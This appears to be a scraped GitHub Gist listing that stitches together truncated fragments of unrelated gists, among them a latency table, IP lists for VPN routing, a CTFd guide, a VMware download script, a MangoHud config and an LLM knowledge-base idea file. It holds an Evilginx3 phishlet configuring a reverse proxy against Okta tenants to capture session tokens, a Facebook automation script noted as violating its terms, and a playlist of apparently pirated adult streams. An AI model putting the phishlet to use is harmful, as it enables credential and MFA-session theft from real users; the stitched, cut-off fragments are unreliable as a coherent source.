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@jboner
jboner / latency.txt
Last active October 15, 2026 00:09
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@iamwildtuna
iamwildtuna / gist:7772b7c84a11bf6e1385f23096a73a15
Last active October 15, 2026 00:08
VPN IP Addresses (IP адреса ChatGPT, Copilot, Meta, Facebook, Instagram, YouTube, Medium, X ex. Twitter, Discord)
Meta (Instagram, Facebook)
// Узлы
157.240.253.174, 157.240.253.172, 157.240.253.167, 157.240.253.63, 157.240.253.32
157.240.252.174, 157.240.252.172, 157.240.252.167, 157.240.252.63, 157.240.252.38
57.144.112.34, 57.144.110.1, 157.240.205.174, 87.245.223.97
// Подсети
213.102.128.0/24
204.15.20.0/22
199.201.0.0/16
@DaHyper
DaHyper / CTFd-GettingStarted.md
Last active October 15, 2026 00:07
CTFd Setup & Getting Started Guide

CTFd Setup & Getting Started Guide

This guide provides step-by-step instructions to quickly set up and run CTFd for Capture The Flag (CTF) competitions.


Prerequisites

  • Docker installed (sudo apt install docker.io)
  • Docker Compose installed (sudo apt install docker-compose)
  • Git installed (sudo apt install git)
@alexcambose
alexcambose / first_names.txt
Created February 19, 2018 21:33
List of first names
AAFILE
AANEI
AARSHAT
ABA
ABABEI
ABABI
ABABIE
ABADAL
ABADI
ABADY
// DISCLAIMER: This script automates actions on Facebook which may violate their Terms of Service.
// Use at your own risk. Aggressive use may result in temporary or permanent account restrictions.
// This is provided for educational purposes only.
// Facebook makes it very difficult to bulk remove friends. This should help.
//
// The goal here was not to completely automate this process, but to automate
// like 85% of it so it would take minutes and not hours with a little bit of hand-holding.
//
// To get this to work:
@simplerhacking
simplerhacking / Okta-Phishlet.yaml
Last active October 14, 2026 23:45
Evilginx3 Okta Phishlet (For Okta Tenant)
name: 'Okta'
author: 'www.simplerhacking.com'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'okta-tenant-here', orig_sub: 'okta-tenant-here', domain: 'okta.com', session: true, is_landing: true, auto_filter: true}
sub_filters:
- {triggers_on: 'okta-tenant-here', orig_sub: '', domain: 'okta-tenant-here', search: 'okta-tenant-here.okta.com', replace: '{hostname}', mimes: ['application/ion+json']}
- {triggers_on: 'okta-tenant-here', orig_sub: '', domain: 'okta-tenant-here', search: 'https.*\.okta\.com', replace: 'https://{hostname}', mimes: ['text/html']}
auth_tokens:
- domain: 'okta-tenant-here'
@jetfir3
jetfir3 / download_workstation.sh
Last active October 14, 2026 23:42
Download VMware Workstation for Linux without a Broadcom Account
#!/usr/bin/env bash
# Download VMware Workstation Linux bundles from Internet Archive and GitHub.
# Requires Bash, curl, Python 3, and standard Unix tools. Does not install VMware.
set -euo pipefail
export LC_ALL=C
ARCHIVE_ITEM="vmwareworkstationarchive"
GITHUB_REPO="201853910/VMwareWorkstation"
DOWNLOAD_DIR="${HOME}/Downloads"
SOURCE="auto"
@nebadon2025
nebadon2025 / gist:1f529bba033761e4d5eb1dac946ab95a
Last active October 14, 2026 23:32
2026/10/13 MangoHud.conf (Improved Version)
#fps_limit_method=early
#fps_limit=120
no_small_font
hud_no_margin
hud_compact
# Force Mangoapp to render based on your actual monitor resolution
width=3200
height=1800
# If you use an offset to push it away from the extreme edge, ensure it's low

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

#EXTM3U
#EXTINF:0,Jasmin TV (18+)
http://109.71.162.112:1935/live/sd.jasminchannel.stream/playlist.m3u8
#EXTINF:0,XXX: Secret Circle
http://178.132.4.10:8000/live/feyenoord/feyenoord/1010.ts
#EXTINF:0,XXX: Meiden van Holland Hard
http://178.132.4.10:8000/live/feyenoord/feyenoord/1002.ts
#EXTINF:0,XXX: Penthouse
http://178.132.4.10:8000/live/feyenoord/feyenoord/1000.ts
#EXTINF:0,XXX: Dusk! Deluxe